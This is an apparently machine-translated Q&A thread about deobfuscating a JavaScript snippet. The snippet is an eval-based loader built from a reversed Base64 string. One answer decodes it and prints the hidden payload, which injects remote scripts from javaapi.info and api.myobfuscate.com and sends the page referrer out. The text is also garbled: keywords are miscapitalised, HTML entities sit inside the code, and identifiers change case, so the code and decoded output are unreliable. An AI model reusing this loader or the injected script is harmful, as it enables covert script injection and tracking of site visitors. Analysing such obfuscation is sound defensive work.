How to decrypt code?

var _000 = '== wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kSMJ9EKkxWaoNEZuVGcwFmLJBDMfpwOdBzWpcCZhVGangSZtFmTnFGV5J0c05WZtVGbFRXZn5CduVWb1N2bkB SPgkEMw8FIyFmdKsTKMJVVuQnbl1Wdj9GZoQnbl52bw12bDlkUVVGZvNmbltyJ9wmc1ZyJrkiclJnclZWZy5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0jZlJnJnsyJr9WPjJ 3c0V2Z / 8SbvNmLlRXYjNXdmJ2b51mLpBXYv8iOwRHdodCI9AyYyNnLxk0TKsTKnQHcpJ3YzdCK05WZtVGbFVGdhVmcj5CduVWb1N2bkBSPgETSPBichZ3OnU0MlQHcpJ3Yz9yQzUSRzUiMyUiM0 EDO5EDRzUCZpZ0Ml8ybm5WaukGchFmdhp2LvE0MlAHd0hmMyUCRzUyYyNHMyUiMyUCdwlmcjNVY2FmSyITJENTJldWY1dmbhxGMyUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd';
var OOO = [ "x41x42x43x44x45x46x47x48x49x4Ax4Bx4Cx4Dx4Ex4Fx50x51x52x53x54x55x56x57x58x59x5Ax61x62x63x64x65x66x67x68x69x6Ax6Bx6Cx6Dx6Ex6Fx70x71x72x73x74x 75x76x77x78x79x7Ax30x31x32x33x34x35x36x37x38x39x2Bx2Fx3D", "", "x63x68x61x72x41x74", "x69x6Ex64x65x78x4Fx66", "x66x72x6Fx6Dx43x68x61x72x43x6Fx64 x65", "x6Cx65x6Ex67x74x68"];
FUNCTION OIO (LO1) {
  var 11 = ooo [0];
  var IOO, IOL, OL1, ILO, OL0, _0OO, O1L, I0O, OI0 = 0,
    _10o = ooo [1];
  do {
    Ilo = o11 [ooo [3]] (LO1 [OOO [2]] (OI0 ++));
    Ol0 = o11 [ooo [3]] (LO1 [OOO [2]] (OI0 ++));
    _0oo = o11 [ooo [3]] (LO1 [OOO [2]] (Oi0 ++));
    O1L = O11 [OOO [3]] (LO1 [OOO [2]] (Oi0 ++));
    I0O = ILO & lt; & lt; 18 | OL0 & LT; & LT; 12 | _0oo & lt; & lt; 6 | O1L;
    Ioo = I0O & gt; & gt; 16 & amp; 0xFF;
    Iol = I0O & gt; & gt; 8 & amp; 0xFF;
    OL1 = I0O & amp; 0xFF;
    if (_0oo == 64) {
      _10o + = string [ooo [4]] (Ioo);
    } else {
      if (o1l == 64) {
        _10o + = STRING [OOO [4]] (IOO, IOL);
      } else {
        _10o + = String [Ooo [4]] (IOO, IOL, OL1);
      };
    };
  } While (Oi0 & LT; LO1 [OOO [5]]);
  Return _10o;
};
Function _1oo (L1O) {
  var _0lo = ooo [1],
    Oi0 = 0;
  For (Oi0 = L1O [OOO [5]] - 1; Oi0 & gt; = 0; oi0--) {
    _0lo + = l1o [ooo [2]] (oi0);
  };
  RETURN _0LO;
};
EVAL (OIO (_1oo (_000)));

Answer 1, Authority 100%

There is no cryptography here, ordinary obfuscation. Code recovery is done standard

• code is formatted before readable (JSBeautifier.org, etc.),
• variables are subject to meaningful values,
• lines are converted into a clear type of
• , etc.

There are plugins for browsers that simplify work, for example, JavaScript Deobfuscator .

Answer 2, Authority 100%

turning the string

$ str = strrev ( "== wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kSMJ9EKkxWaoNEZuVGcwFmLJBDMfpwOdBzWpcCZhVGangSZtFmTnFGV5J0c05WZtVGbFRXZn5CduVWb1N2bkB SPgkEMw8FIyFmdKsTKMJVVuQnbl1Wdj9GZoQnbl52bw12bDlkUVVGZvNmbltyJ9wmc1ZyJrkiclJnclZWZy5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0jZlJnJnsyJr9WPjJ 3c0V2Z / 8SbvNmLlRXYjNXdmJ2b51mLpBXYv8iOwRHdodCI9AyYyNnLxk0TKsTKnQHcpJ3YzdCK05WZtVGbFVGdhVmcj5CduVWb1N2bkBSPgETSPBichZ3OnU0MlQHcpJ3Yz9yQzUSRzUiMyUiM0 EDO5EDRzUCZpZ0Ml8ybm5WaukGchFmdhp2LvE0MlAHd0hmMyUCRzUyYyNHMyUiMyUCdwlmcjNVY2FmSyITJENTJldWY1dmbhxGMyUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd");

Echo Base64_Decode ($ STR); // Display the result

Actually the result:

var _escape = '% 3cscript% 20Language% 3D% 22Javascript% 22% 20SRC% 3D% 22HTTP% 3A // javaapi.info/%3FID%3D198142%22%3E%3C/Script%3E'NEMVAR OI1 = Document.CreateElement ('script');
Oi1.src = 'http://api.myobfuscate.com/?getsrc=ok' /& ;ref='+encodeuricomponent (document.referrer) +&
var _00i = document.getelementsbytagname ('Head') [0];
_00i.appendchild (OI1); Document.Write (Unescape (_escape));

Answer 3

Judging by the characteristic signatures, this is the usual encoding Base64 (at least the first part). This is no encryption, but simply a method for encoding binary data as aCII character set.

The second part is just a 16-tiric representation of a certain line.

Look here – there is an example of encoder / decoder Base64